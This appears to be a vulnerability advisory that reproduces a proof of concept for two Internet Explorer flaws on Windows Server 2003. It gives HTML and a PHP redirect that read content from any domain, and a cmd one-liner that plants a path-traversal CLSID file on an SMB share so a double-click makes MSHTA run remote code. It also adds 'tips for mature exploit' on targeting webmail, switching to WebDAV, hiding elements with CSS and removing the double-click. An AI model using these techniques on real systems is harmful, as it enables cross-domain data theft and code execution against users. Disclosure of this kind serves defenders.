Microsoft Windows is prone to a remote code-execution vulnerability. This issue affects the Windows Explorer component. This issue is caused by insecure handling of Drag and Drop events.

There is a public proof-of-concept that demonstrates that this vulnerability may be exploited to execute a malicious HTML application (HTA) without prompting the user for permission.

1. SUMMARY
~~~~~~~~~~
This document illustrates two issues found in Internet Explorer:
One is READ CONTENT OF ANY DOMAIN
Another is DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION

2. READ CONTENT OF ANY DOMAIN - PROOF OF CONCEPT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following proof of concept is incomplete realization of the idea to demonstrate its feasibility.
Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006

Upload the following files to Web server, go to i.html
------------------------- i.html -------------------------
<html><body onload="setTimeout('alert(o.object.documentElement.outerHTML)',1000)">
<object width=100 height=100 data=r.php?http://www.google.com/123456789 type=text/html id=o></object>
</body></html>
------------------------- r.php -------------------------
<?php header("Location: ".$_SERVER["QUERY_STRING"]); ?>

i.html displays content of Google Web page.

3. READ CONTENT OF ANY DOMAIN - TIPS FOR MATURE EXPLOIT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Target Google Desktop, similar to IE Design Flaw Lets Hacker Crack Google Desktop, http://www.eweek.com/article2/0,1895,1895579,00.asp
2. Target webmail

4. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - PROOF OF CONCEPT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following proof of concept is incomplete realization of the idea to demonstrate its feasibility.
Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006

Assume C:\SmbPubRO is shared over SMB \\192.168.0.5\SmbPubRO
Run CMD, go to C:\SmbPubRO, and then enter the following command:
    mkdir test && cd test && mkdir %2e%2e%5cx.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B} && echo "<html><body><iframe width=300 height=300 src='./' ></iframe>" > test.html && cd .. && echo "<html><body><script>alert('hallo')</script>" > x.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}
At last, open IE to \\192.168.0.5\SmbPubRO\test\test.html, and double-click the icon labeled %2e%2e%5cx

MSHTA runs remote code.

5. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - TIPS FOR MATURE EXPLOIT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Use WebDAV, not SMB
2. Hide suspicious parts by CSS tricks similar to What A Drag! -revisited-, http://www.mikx.de/index.php?p=1
3. Set up scenario of double-click
4. If modified, able to compromise IE7BETA2
5. If modified, no need to double-click
